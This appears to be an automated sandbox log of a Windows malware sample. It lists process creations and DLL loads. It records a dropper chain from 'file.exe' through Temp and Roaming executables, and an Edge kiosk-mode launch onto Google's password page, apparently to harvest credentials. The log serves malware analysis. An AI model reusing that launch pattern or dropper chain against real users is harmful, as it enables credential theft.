Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4436 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2104,i,2662021225016214237,15127601978370179281,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2068,i,13529609438476124602,4873144029971825180,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,3282595102075103265,12610826402939548734,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=8132 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe "C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe "C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe "C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2016,i,16176918105418221585,11467192420078464089,262144 --disable-features=TranslateUI /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7820 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7756 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=8132 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4436 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2104,i,2662021225016214237,15127601978370179281,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2068,i,13529609438476124602,4873144029971825180,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,3282595102075103265,12610826402939548734,262144 /prefetch:3

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Section loaded: urlmon.dll	Jump to behavior
